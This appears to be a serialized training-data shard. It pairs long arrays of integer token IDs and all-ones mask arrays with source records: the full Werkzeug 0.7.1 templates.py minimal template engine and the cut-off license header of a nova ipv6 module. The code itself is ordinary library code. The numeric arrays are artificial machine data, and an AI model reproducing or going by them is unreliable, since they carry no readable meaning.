489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
779,
19,
2522,
2917,
14,
1430,
63,
1392,
9,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
25550,
2917,
14,
2912,
63,
1392,
9,
819,
347,
511,
14500,
7238,
83,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
980,
14,
2355,
14,
3759,
8,
19,
12,
499,
12,
499,
9,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
291,
14,
629,
8,
18,
12,
2917,
14,
1430,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
7069,
779,
19,
12,
499,
467,
2917,
14,
2912,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
779,
18,
2522,
2917,
14,
1430,
63,
1392,
9,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
779,
19,
12,
499,
2522,
2917,
14,
2912,
63,
1392,
9,
819,
347,
511,
714,
19722,
3697,
8,
277,
304,
272,
5131,
275,
3474,
17,
2020,
499,
12,
650,
2677,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
291,
14,
629,
779,
17,
12,
650,
467,
2917,
14,
26823,
14,
362,
63,
1392,
1012,
489,
291,
14,
7260,
8,
4468,
12,
2917,
14,
26823,
14,
2579,
1012,
819,
347,
511,
48,
1587,
56,
919,
529,
8,
277,
304,
272,
5131,
275,
3474,
17,
2020,
499,
12,
650,
2677,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
12,
4107,
63,
589,
29,
549,
9,
489,
2917,
14,
6101,
779,
14,
17,
12,
1275,
19,
12,
1275,
22,
6575,
2579,
342,
489,
2917,
14,
6101,
779,
14,
18,
12,
1275,
19,
12,
1275,
21,
6575,
2579,
342,
489,
327,
13083,
5558,
883,
6804,
14,
489,
543,
291,
14,
26501,
480,
3356,
1471,
506,
7317,
2349,
267,
2917,
14,
6101,
11468,
17,
2020,
413,
14,
21,
12,
378,
14,
21,
6575,
2579,
342,
489,
543,
291,
14,
26501,
480,
3356,
1471,
506,
7317,
2349,
267,
2917,
14,
6101,
779,
16,
2020,
1275,
17,
12,
1275,
25,
6575,
2579,
342,
489,
543,
291,
14,
26501,
8,
881,
298,
3271,
2061,
13,
7430,
1471,
3089,
370,
658,
17,
64,
2349,
267,
2917,
14,
6101,
779,
14,
17,
12,
1275,
18,
12,
1275,
24,
6575,
2579,
342,
819,
347,
511,
48,
1587,
8681,
8842,
397,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
359,
17,
2020,
499,
61,
489,
671,
275,
26496,
21,
12,
1275,
21,
61,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
11249,
275,
2917,
14,
6101,
8,
88,
9,
489,
291,
14,
7260,
8,
17,
2020,
11249,
14,
2579,
1012,
489,
291,
14,
629,
8,
1062,
11249,
14,
362,
63,
1392,
1012,
819,
347,
511,
48,
1587,
8681,
8842,
397,
6932,
23844,
56,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
359,
17,
2020,
499,
61,
489,
671,
275,
26496,
19,
12,
1275,
23,
61,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
11249,
275,
2917,
14,
6101,
8,
88,
9,
489,
291,
14,
7260,
8,
23,
14,
1182,
959,
12,
11249,
14,
2579,
1012,
489,
291,
14,
629,
8,
1062,
11249,
14,
362,
63,
1392,
1012,
819,
347,
511,
48,
1587,
12421,
8681,
8842,
397,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
327,
7499,
3853,
795,
370,
282,
14818,
4084,
489,
5131,
275,
359,
17,
2020,
413,
12,
413,
61,
489,
671,
275,
3474,
14,
18,
12,
1275,
21,
12,
1275,
19,
467,
26496,
19,
12,
1275,
20,
12,
1275,
19,
2677,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
11249,
275,
2917,
14,
6101,
8,
88,
9,
489,
291,
14,
7260,
779,
18,
2020,
499,
8333,
11249,
14,
2579,
1012,
489,
291,
14,
629,
1332,
18,
395,
11249,
14,
362,
63,
1392,
1012,
819,
347,
511,
48,
1587,
16192,
933,
0
] |
[
1,
1,
1,
1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|
eggs/werkzeug-0.7.1-py2.7.egg/werkzeug/templates.py
|
95
|
13713
|
# -*- coding: utf-8 -*-
r"""
werkzeug.templates
~~~~~~~~~~~~~~~~~~
A minimal template engine.
:copyright: (c) 2011 by the Werkzeug Team, see AUTHORS for more details.
:license: BSD License.
"""
import sys
import re
import __builtin__ as builtins
from compiler import ast, parse
from compiler.pycodegen import ModuleCodeGenerator
from tokenize import PseudoToken
from werkzeug import urls, utils
from werkzeug._internal import _decode_unicode
from werkzeug.datastructures import MultiDict
from warnings import warn
warn(DeprecationWarning('werkzeug.templates is deprecated and '
'will be removed in Werkzeug 1.0'))
# Copyright notice: The `parse_data` method uses the string interpolation
# algorithm by Ka-Ping Yee which originally was part of `Itpl20.py`_.
#
# .. _Itpl20.py: http://lfw.org/python/Itpl20.py
token_re = re.compile('%s|%s(?s)' % (
r'[uU]?[rR]?("""|\'\'\')((?<!\\)\\\1|.)*?\1',
PseudoToken
))
directive_re = re.compile(r'(?<!\\)<%(?:(#)|(py(?:thon)?\b)|'
r'(?:\s*(\w+))\s*)(.*?)\s*%>\n?(?s)')
escape_re = re.compile(r'\\\n|\\(\\|<%)')
namestart_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
undefined = type('UndefinedType', (object,), {
'__iter__': lambda x: iter(()),
'__repr__': lambda x: 'Undefined',
'__str__': lambda x: ''
})()
runtime_vars = frozenset(['Undefined', '__to_unicode', '__context',
'__write', '__write_many'])
def call_stmt(func, args, lineno):
return ast.CallFunc(ast.Name(func, lineno=lineno),
args, lineno=lineno)
def tokenize(source, filename):
escape = escape_re.sub
escape_repl = lambda m: m.group(1) or ''
lineno = 1
pos = 0
for match in directive_re.finditer(source):
start, end = match.span()
if start > pos:
data = source[pos:start]
yield lineno, 'data', escape(escape_repl, data)
lineno += data.count('\n')
is_comment, is_code, cmd, args = match.groups()
if is_code:
yield lineno, 'code', args
elif not is_comment:
yield lineno, 'cmd', (cmd, args)
lineno += source[start:end].count('\n')
pos = end
if pos < len(source):
yield lineno, 'data', escape(escape_repl, source[pos:])
def transform(node, filename):
root = ast.Module(None, node, lineno=1)
nodes = [root]
while nodes:
node = nodes.pop()
node.filename = filename
if node.__class__ in (ast.Printnl, ast.Print):
node.dest = ast.Name('__context')
elif node.__class__ is ast.Const and isinstance(node.value, str):
try:
node.value.decode('ascii')
except UnicodeError:
node.value = node.value.decode('utf-8')
nodes.extend(node.getChildNodes())
return root
class TemplateSyntaxError(SyntaxError):
def __init__(self, msg, filename, lineno):
from linecache import getline
l = getline(filename, lineno)
SyntaxError.__init__(self, msg, (filename, lineno, len(l) or 1, l))
class Parser(object):
def __init__(self, gen, filename):
self.gen = gen
self.filename = filename
self.lineno = 1
def fail(self, msg):
raise TemplateSyntaxError(msg, self.filename, self.lineno)
def parse_python(self, expr, type='exec'):
if isinstance(expr, unicode):
expr = '\xef\xbb\xbf' + expr.encode('utf-8')
try:
node = parse(expr, type)
except SyntaxError, e:
raise TemplateSyntaxError(str(e), self.filename,
self.lineno + e.lineno - 1)
nodes = [node]
while nodes:
n = nodes.pop()
if hasattr(n, 'lineno'):
n.lineno = (n.lineno or 1) + self.lineno - 1
nodes.extend(n.getChildNodes())
return node.node
def parse(self, needle=()):
start_lineno = self.lineno
result = []
add = result.append
for self.lineno, token, value in self.gen:
if token == 'data':
add(self.parse_data(value))
elif token == 'code':
add(self.parse_code(value.splitlines()))
elif token == 'cmd':
name, args = value
if name in needle:
return name, args, ast.Stmt(result, lineno=start_lineno)
if name in ('for', 'while'):
add(self.parse_loop(args, name))
elif name == 'if':
add(self.parse_if(args))
else:
self.fail('unknown directive %s' % name)
if needle:
self.fail('unexpected end of template')
return ast.Stmt(result, lineno=start_lineno)
def parse_loop(self, args, type):
rv = self.parse_python('%s %s: pass' % (type, args), 'exec').nodes[0]
tag, value, rv.body = self.parse(('end' + type, 'else'))
if value:
self.fail('unexpected data after ' + tag)
if tag == 'else':
tag, value, rv.else_ = self.parse(('end' + type,))
if value:
self.fail('unexpected data after else')
return rv
def parse_if(self, args):
cond = self.parse_python('if %s: pass' % args).nodes[0]
tag, value, body = self.parse(('else', 'elif', 'endif'))
cond.tests[0] = (cond.tests[0][0], body)
while 1:
if tag == 'else':
if value:
self.fail('unexpected data after else')
tag, value, cond.else_ = self.parse(('endif',))
elif tag == 'elif':
expr = self.parse_python(value, 'eval')
tag, value, body = self.parse(('else', 'elif', 'endif'))
cond.tests.append((expr, body))
continue
break
if value:
self.fail('unexpected data after endif')
return cond
def parse_code(self, lines):
margin = sys.maxint
for line in lines[1:]:
content = len(line.lstrip())
if content:
indent = len(line) - content
margin = min(margin, indent)
if lines:
lines[0] = lines[0].lstrip()
if margin < sys.maxint:
for i in xrange(1, len(lines)):
lines[i] = lines[i][margin:]
while lines and not lines[-1]:
lines.pop()
while lines and not lines[0]:
lines.pop(0)
return self.parse_python('\n'.join(lines))
def parse_data(self, text):
start_lineno = lineno = self.lineno
pos = 0
end = len(text)
nodes = []
def match_or_fail(pos):
match = token_re.match(text, pos)
if match is None:
self.fail('invalid syntax')
return match.group().strip(), match.end()
def write_expr(code):
node = self.parse_python(code, 'eval')
nodes.append(call_stmt('__to_unicode', [node], lineno))
return code.count('\n')
def write_data(value):
if value:
nodes.append(ast.Const(value, lineno=lineno))
return value.count('\n')
return 0
while 1:
offset = text.find('$', pos)
if offset < 0:
break
next = text[offset + 1]
if next == '{':
lineno += write_data(text[pos:offset])
pos = offset + 2
level = 1
while level:
token, pos = match_or_fail(pos)
if token in ('{', '}'):
level += token == '{' and 1 or -1
lineno += write_expr(text[offset + 2:pos - 1])
elif next in namestart_chars:
lineno += write_data(text[pos:offset])
token, pos = match_or_fail(offset + 1)
while pos < end:
if text[pos] == '.' and pos + 1 < end and \
text[pos + 1] in namestart_chars:
token, pos = match_or_fail(pos + 1)
elif text[pos] in '([':
pos += 1
level = 1
while level:
token, pos = match_or_fail(pos)
if token in ('(', ')', '[', ']'):
level += token in '([' and 1 or -1
else:
break
lineno += write_expr(text[offset + 1:pos])
else:
lineno += write_data(text[pos:offset + 1])
pos = offset + 1 + (next == '$')
write_data(text[pos:])
return ast.Discard(call_stmt(len(nodes) == 1 and '__write' or
'__write_many', nodes, start_lineno),
lineno=start_lineno)
class Context(object):
def __init__(self, namespace, charset, errors):
self.charset = charset
self.errors = errors
self._namespace = namespace
self._buffer = []
self._write = self._buffer.append
_extend = self._buffer.extend
self.runtime = dict(
Undefined=undefined,
__to_unicode=self.to_unicode,
__context=self,
__write=self._write,
__write_many=lambda *a: _extend(a)
)
def write(self, value):
self._write(self.to_unicode(value))
def to_unicode(self, value):
if isinstance(value, str):
return _decode_unicode(value, self.charset, self.errors)
return unicode(value)
def get_value(self, as_unicode=True):
rv = u''.join(self._buffer)
if not as_unicode:
return rv.encode(self.charset, self.errors)
return rv
def __getitem__(self, key, default=undefined):
try:
return self._namespace[key]
except KeyError:
return getattr(builtins, key, default)
def get(self, key, default=None):
return self.__getitem__(key, default)
def __setitem__(self, key, value):
self._namespace[key] = value
def __delitem__(self, key):
del self._namespace[key]
class TemplateCodeGenerator(ModuleCodeGenerator):
def __init__(self, node, filename):
ModuleCodeGenerator.__init__(self, transform(node, filename))
def _nameOp(self, prefix, name):
if name in runtime_vars:
return self.emit(prefix + '_GLOBAL', name)
return ModuleCodeGenerator._nameOp(self, prefix, name)
class Template(object):
"""Represents a simple text based template. It's a good idea to load such
templates from files on the file system to get better debug output.
"""
default_context = {
'escape': utils.escape,
'url_quote': urls.url_quote,
'url_quote_plus': urls.url_quote_plus,
'url_encode': urls.url_encode
}
def __init__(self, source, filename='<template>', charset='utf-8',
errors='strict', unicode_mode=True):
if isinstance(source, str):
source = _decode_unicode(source, charset, errors)
if isinstance(filename, unicode):
filename = filename.encode('utf-8')
node = Parser(tokenize(u'\n'.join(source.splitlines()),
filename), filename).parse()
self.code = TemplateCodeGenerator(node, filename).getCode()
self.filename = filename
self.charset = charset
self.errors = errors
self.unicode_mode = unicode_mode
@classmethod
def from_file(cls, file, charset='utf-8', errors='strict',
unicode_mode=True):
"""Load a template from a file.
.. versionchanged:: 0.5
The encoding parameter was renamed to charset.
:param file: a filename or file object to load the template from.
:param charset: the charset of the template to load.
:param errors: the error behavior of the charset decoding.
:param unicode_mode: set to `False` to disable unicode mode.
:return: a template
"""
close = False
f = file
if isinstance(file, basestring):
f = open(file, 'r')
close = True
try:
data = _decode_unicode(f.read(), charset, errors)
finally:
if close:
f.close()
return cls(data, getattr(f, 'name', '<template>'), charset,
errors, unicode_mode)
def render(self, *args, **kwargs):
"""This function accepts either a dict or some keyword arguments which
will then be the context the template is evaluated in. The return
value will be the rendered template.
:param context: the function accepts the same arguments as the
:class:`dict` constructor.
:return: the rendered template as string
"""
ns = self.default_context.copy()
if len(args) == 1 and isinstance(args[0], MultiDict):
ns.update(args[0].to_dict(flat=True))
else:
ns.update(dict(*args))
if kwargs:
ns.update(kwargs)
context = Context(ns, self.charset, self.errors)
exec self.code in context.runtime, context
return context.get_value(self.unicode_mode)
def substitute(self, *args, **kwargs):
"""For API compatibility with `string.Template`."""
return self.render(*args, **kwargs)
|
apache-2.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
82,
624,
272,
10380,
14,
5876,
272,
18294,
1714,
339,
437,
13460,
1978,
6869,
14,
339,
520,
7307,
26,
334,
67,
9,
7760,
701,
314,
22798,
11682,
12,
1937,
10610,
367,
1655,
2436,
14,
272,
520,
1682,
26,
6289,
844,
14,
199,
624,
199,
646,
984,
199,
646,
295,
199,
646,
636,
5351,
363,
465,
12963,
199,
504,
6365,
492,
6073,
12,
2198,
199,
504,
6365,
14,
647,
600,
2268,
492,
5673,
3034,
7599,
199,
504,
13343,
492,
510,
9917,
3264,
199,
504,
10380,
492,
8187,
12,
3778,
199,
504,
10380,
423,
4672,
492,
485,
2708,
63,
2975,
199,
504,
10380,
14,
23004,
492,
29393,
421,
199,
504,
3598,
492,
7987,
199,
4050,
8,
15561,
360,
17719,
14,
5876,
365,
5906,
436,
283,
717,
283,
14117,
506,
4829,
315,
22798,
413,
14,
16,
1333,
421,
199,
3,
1898,
4245,
26,
710,
658,
1122,
63,
576,
64,
1083,
4440,
314,
1059,
14046,
199,
3,
5563,
701,
1804,
65,
13,
22638,
1488,
1024,
1314,
20657,
1990,
1777,
402,
658,
41,
15436,
1165,
14,
647,
32578,
199,
3,
199,
3,
2508,
485,
41,
15436,
1165,
14,
647,
26,
1455,
921,
31624,
14,
1308,
15,
1548,
15,
41,
15436,
1165,
14,
647,
421,
199,
1418,
63,
264,
275,
295,
14,
2014,
3508,
83,
15287,
83,
2229,
83,
3171,
450,
334,
272,
519,
3894,
85,
53,
21852,
82,
50,
11843,
4852,
6113,
1154,
1154,
358,
17304,
11230,
1103,
9,
9780,
17,
18257,
3342,
8995,
17,
297,
272,
510,
9917,
3264,
199,
430,
199,
15047,
63,
264,
275,
295,
14,
2014,
8,
82,
10120,
11230,
1103,
9,
21110,
5169,
27496,
8636,
8,
647,
5169,
898,
5547,
60,
66,
9,
5227,
2079,
519,
10120,
3427,
83,
22588,
87,
11,
25105,
83,
28304,
6697,
2862,
83,
32639,
3072,
78,
31,
2229,
83,
5942,
199,
3765,
63,
264,
275,
295,
14,
2014,
8,
82,
32190,
78,
17780,
27910,
92,
21110,
5942,
199,
354,
928,
63,
6574,
275,
283,
23459,
28114,
8650,
199,
10705,
275,
730,
360,
16283,
804,
297,
334,
785,
4706,
469,
272,
2560,
1661,
3706,
2400,
671,
26,
2740,
8,
4000,
272,
2560,
2722,
3706,
2400,
671,
26,
283,
16283,
297,
272,
2560,
495,
3706,
221,
2400,
671,
26,
2125,
199,
1552,
342,
199,
7726,
63,
2936,
275,
9522,
2941,
16283,
297,
2560,
475,
63,
2975,
297,
2560,
1100,
297,
2079,
2560,
952,
297,
2560,
952,
63,
3479,
1105,
421,
199,
318,
1240,
63,
9649,
8,
1532,
12,
1249,
12,
5874,
304,
272,
372,
6073,
14,
2176,
7465,
8,
1810,
14,
985,
8,
1532,
12,
5874,
29,
3469,
395,
717,
1249,
12,
5874,
29,
3469,
9,
421,
199,
318,
13343,
8,
1365,
12,
1788,
304,
272,
4772,
275,
4772,
63,
264,
14,
954,
272,
4772,
63,
16349,
275,
2400,
333,
26,
333,
14,
923,
8,
17,
9,
503,
2125,
272,
5874,
275,
413,
272,
2086,
275,
378,
339,
367,
1336,
315,
13613,
63,
264,
14,
19373,
8,
1365,
304,
267,
1343,
12,
1284,
275,
1336,
14,
3751,
342,
267,
340,
1343,
690,
2086,
26,
288,
666,
275,
1350,
59,
1712,
26,
928,
61,
288,
1995,
5874,
12,
283,
576,
297,
4772,
8,
3765,
63,
16349,
12,
666,
9,
288,
5874,
847,
666,
14,
835,
2258,
78,
358,
267,
365,
63,
3349,
12,
365,
63,
600,
12,
2088,
12,
1249,
275,
1336,
14,
2634,
342,
267,
340,
365,
63,
600,
26,
288,
1995,
5874,
12,
283,
600,
297,
1249,
267,
916,
440,
365,
63,
3349,
26,
288,
1995,
5874,
12,
283,
1760,
297,
334,
1760,
12,
1249,
9,
267,
5874,
847,
1350,
59,
928,
26,
500,
1055,
835,
2258,
78,
358,
267,
2086,
275,
1284,
339,
340,
2086,
665,
822,
8,
1365,
304,
267,
1995,
5874,
12,
283,
576,
297,
4772,
8,
3765,
63,
16349,
12,
1350,
59,
1712,
5728,
421,
199,
318,
5793,
8,
932,
12,
1788,
304,
272,
1738,
275,
6073,
14,
2377,
8,
403,
12,
1031,
12,
5874,
29,
17,
9,
272,
3380,
275,
359,
1231,
61,
272,
1830,
3380,
26,
267,
1031,
275,
3380,
14,
1935,
342,
267,
1031,
14,
1501,
275,
1788,
267,
340,
1031,
855,
533,
363,
315,
334,
1810,
14,
5375,
7530,
12,
6073,
14,
5375,
304,
288,
1031,
14,
2614,
275,
6073,
14,
985,
10714,
1100,
358,
267,
916,
1031,
855,
533,
363,
365,
6073,
14,
6361,
436,
1228,
8,
932,
14,
585,
12,
620,
304,
288,
862,
26,
355,
1031,
14,
585,
14,
2708,
360,
4371,
358,
288,
871,
20872,
26,
355,
1031,
14,
585,
275,
1031,
14,
585,
14,
2708,
360,
1624,
13,
24,
358,
267,
3380,
14,
2880,
8,
932,
14,
26023,
6300,
1012,
272,
372,
1738,
421,
199,
533,
17762,
8,
9294,
304,
339,
347,
636,
826,
721,
277,
12,
1499,
12,
1788,
12,
5874,
304,
267,
687,
26026,
492,
664,
604,
267,
634,
275,
664,
604,
8,
1501,
12,
5874,
9,
267,
12053,
855,
826,
721,
277,
12,
1499,
12,
334,
1501,
12,
5874,
12,
822,
8,
76,
9,
503,
413,
12,
634,
430,
421,
199,
533,
10191,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
3805,
12,
1788,
304,
267,
291,
14,
2268,
275,
3805,
267,
291,
14,
1501,
275,
1788,
267,
291,
14,
3469,
275,
413,
339,
347,
2449,
8,
277,
12,
1499,
304,
267,
746,
17762,
8,
1328,
12,
291,
14,
1501,
12,
291,
14,
3469,
9,
339,
347,
2198,
63,
1548,
8,
277,
12,
5348,
12,
730,
534,
1628,
735,
267,
340,
1228,
8,
3684,
12,
2649,
304,
288,
5348,
275,
1557,
9532,
60,
9932,
60,
9566,
7,
435,
5348,
14,
2143,
360,
1624,
13,
24,
358,
267,
862,
26,
288,
1031,
275,
2198,
8,
3684,
12,
730,
9,
267,
871,
12053,
12,
325,
26,
288,
746,
17762,
8,
495,
8,
69,
395,
291,
14,
1501,
12,
4228,
291,
14,
3469,
435,
325,
14,
3469,
446,
413,
9,
267,
3380,
275,
359,
932,
61,
267,
1830,
3380,
26,
288,
302,
275,
3380,
14,
1935,
342,
288,
340,
2688,
8,
78,
12,
283,
3469,
735,
355,
302,
14,
3469,
275,
334,
78,
14,
3469,
503,
413,
9,
435,
291,
14,
3469,
446,
413,
288,
3380,
14,
2880,
8,
78,
14,
26023,
6300,
1012,
267,
372
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
82,
624,
272,
10380,
14,
5876,
272,
18294,
1714,
339,
437,
13460,
1978,
6869,
14,
339,
520,
7307,
26,
334,
67,
9,
7760,
701,
314,
22798,
11682,
12,
1937,
10610,
367,
1655,
2436,
14,
272,
520,
1682,
26,
6289,
844,
14,
199,
624,
199,
646,
984,
199,
646,
295,
199,
646,
636,
5351,
363,
465,
12963,
199,
504,
6365,
492,
6073,
12,
2198,
199,
504,
6365,
14,
647,
600,
2268,
492,
5673,
3034,
7599,
199,
504,
13343,
492,
510,
9917,
3264,
199,
504,
10380,
492,
8187,
12,
3778,
199,
504,
10380,
423,
4672,
492,
485,
2708,
63,
2975,
199,
504,
10380,
14,
23004,
492,
29393,
421,
199,
504,
3598,
492,
7987,
199,
4050,
8,
15561,
360,
17719,
14,
5876,
365,
5906,
436,
283,
717,
283,
14117,
506,
4829,
315,
22798,
413,
14,
16,
1333,
421,
199,
3,
1898,
4245,
26,
710,
658,
1122,
63,
576,
64,
1083,
4440,
314,
1059,
14046,
199,
3,
5563,
701,
1804,
65,
13,
22638,
1488,
1024,
1314,
20657,
1990,
1777,
402,
658,
41,
15436,
1165,
14,
647,
32578,
199,
3,
199,
3,
2508,
485,
41,
15436,
1165,
14,
647,
26,
1455,
921,
31624,
14,
1308,
15,
1548,
15,
41,
15436,
1165,
14,
647,
421,
199,
1418,
63,
264,
275,
295,
14,
2014,
3508,
83,
15287,
83,
2229,
83,
3171,
450,
334,
272,
519,
3894,
85,
53,
21852,
82,
50,
11843,
4852,
6113,
1154,
1154,
358,
17304,
11230,
1103,
9,
9780,
17,
18257,
3342,
8995,
17,
297,
272,
510,
9917,
3264,
199,
430,
199,
15047,
63,
264,
275,
295,
14,
2014,
8,
82,
10120,
11230,
1103,
9,
21110,
5169,
27496,
8636,
8,
647,
5169,
898,
5547,
60,
66,
9,
5227,
2079,
519,
10120,
3427,
83,
22588,
87,
11,
25105,
83,
28304,
6697,
2862,
83,
32639,
3072,
78,
31,
2229,
83,
5942,
199,
3765,
63,
264,
275,
295,
14,
2014,
8,
82,
32190,
78,
17780,
27910,
92,
21110,
5942,
199,
354,
928,
63,
6574,
275,
283,
23459,
28114,
8650,
199,
10705,
275,
730,
360,
16283,
804,
297,
334,
785,
4706,
469,
272,
2560,
1661,
3706,
2400,
671,
26,
2740,
8,
4000,
272,
2560,
2722,
3706,
2400,
671,
26,
283,
16283,
297,
272,
2560,
495,
3706,
221,
2400,
671,
26,
2125,
199,
1552,
342,
199,
7726,
63,
2936,
275,
9522,
2941,
16283,
297,
2560,
475,
63,
2975,
297,
2560,
1100,
297,
2079,
2560,
952,
297,
2560,
952,
63,
3479,
1105,
421,
199,
318,
1240,
63,
9649,
8,
1532,
12,
1249,
12,
5874,
304,
272,
372,
6073,
14,
2176,
7465,
8,
1810,
14,
985,
8,
1532,
12,
5874,
29,
3469,
395,
717,
1249,
12,
5874,
29,
3469,
9,
421,
199,
318,
13343,
8,
1365,
12,
1788,
304,
272,
4772,
275,
4772,
63,
264,
14,
954,
272,
4772,
63,
16349,
275,
2400,
333,
26,
333,
14,
923,
8,
17,
9,
503,
2125,
272,
5874,
275,
413,
272,
2086,
275,
378,
339,
367,
1336,
315,
13613,
63,
264,
14,
19373,
8,
1365,
304,
267,
1343,
12,
1284,
275,
1336,
14,
3751,
342,
267,
340,
1343,
690,
2086,
26,
288,
666,
275,
1350,
59,
1712,
26,
928,
61,
288,
1995,
5874,
12,
283,
576,
297,
4772,
8,
3765,
63,
16349,
12,
666,
9,
288,
5874,
847,
666,
14,
835,
2258,
78,
358,
267,
365,
63,
3349,
12,
365,
63,
600,
12,
2088,
12,
1249,
275,
1336,
14,
2634,
342,
267,
340,
365,
63,
600,
26,
288,
1995,
5874,
12,
283,
600,
297,
1249,
267,
916,
440,
365,
63,
3349,
26,
288,
1995,
5874,
12,
283,
1760,
297,
334,
1760,
12,
1249,
9,
267,
5874,
847,
1350,
59,
928,
26,
500,
1055,
835,
2258,
78,
358,
267,
2086,
275,
1284,
339,
340,
2086,
665,
822,
8,
1365,
304,
267,
1995,
5874,
12,
283,
576,
297,
4772,
8,
3765,
63,
16349,
12,
1350,
59,
1712,
5728,
421,
199,
318,
5793,
8,
932,
12,
1788,
304,
272,
1738,
275,
6073,
14,
2377,
8,
403,
12,
1031,
12,
5874,
29,
17,
9,
272,
3380,
275,
359,
1231,
61,
272,
1830,
3380,
26,
267,
1031,
275,
3380,
14,
1935,
342,
267,
1031,
14,
1501,
275,
1788,
267,
340,
1031,
855,
533,
363,
315,
334,
1810,
14,
5375,
7530,
12,
6073,
14,
5375,
304,
288,
1031,
14,
2614,
275,
6073,
14,
985,
10714,
1100,
358,
267,
916,
1031,
855,
533,
363,
365,
6073,
14,
6361,
436,
1228,
8,
932,
14,
585,
12,
620,
304,
288,
862,
26,
355,
1031,
14,
585,
14,
2708,
360,
4371,
358,
288,
871,
20872,
26,
355,
1031,
14,
585,
275,
1031,
14,
585,
14,
2708,
360,
1624,
13,
24,
358,
267,
3380,
14,
2880,
8,
932,
14,
26023,
6300,
1012,
272,
372,
1738,
421,
199,
533,
17762,
8,
9294,
304,
339,
347,
636,
826,
721,
277,
12,
1499,
12,
1788,
12,
5874,
304,
267,
687,
26026,
492,
664,
604,
267,
634,
275,
664,
604,
8,
1501,
12,
5874,
9,
267,
12053,
855,
826,
721,
277,
12,
1499,
12,
334,
1501,
12,
5874,
12,
822,
8,
76,
9,
503,
413,
12,
634,
430,
421,
199,
533,
10191,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
3805,
12,
1788,
304,
267,
291,
14,
2268,
275,
3805,
267,
291,
14,
1501,
275,
1788,
267,
291,
14,
3469,
275,
413,
339,
347,
2449,
8,
277,
12,
1499,
304,
267,
746,
17762,
8,
1328,
12,
291,
14,
1501,
12,
291,
14,
3469,
9,
339,
347,
2198,
63,
1548,
8,
277,
12,
5348,
12,
730,
534,
1628,
735,
267,
340,
1228,
8,
3684,
12,
2649,
304,
288,
5348,
275,
1557,
9532,
60,
9932,
60,
9566,
7,
435,
5348,
14,
2143,
360,
1624,
13,
24,
358,
267,
862,
26,
288,
1031,
275,
2198,
8,
3684,
12,
730,
9,
267,
871,
12053,
12,
325,
26,
288,
746,
17762,
8,
495,
8,
69,
395,
291,
14,
1501,
12,
4228,
291,
14,
3469,
435,
325,
14,
3469,
446,
413,
9,
267,
3380,
275,
359,
932,
61,
267,
1830,
3380,
26,
288,
302,
275,
3380,
14,
1935,
342,
288,
340,
2688,
8,
78,
12,
283,
3469,
735,
355,
302,
14,
3469,
275,
334,
78,
14,
3469,
503,
413,
9,
435,
291,
14,
3469,
446,
413,
288,
3380,
14,
2880,
8,
78,
14,
26023,
6300,
1012,
267,
372,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
russellb/nova
|
nova/ipv6/api.py
|
1
|
1342
|
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright (c) 2011 Openstack, LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
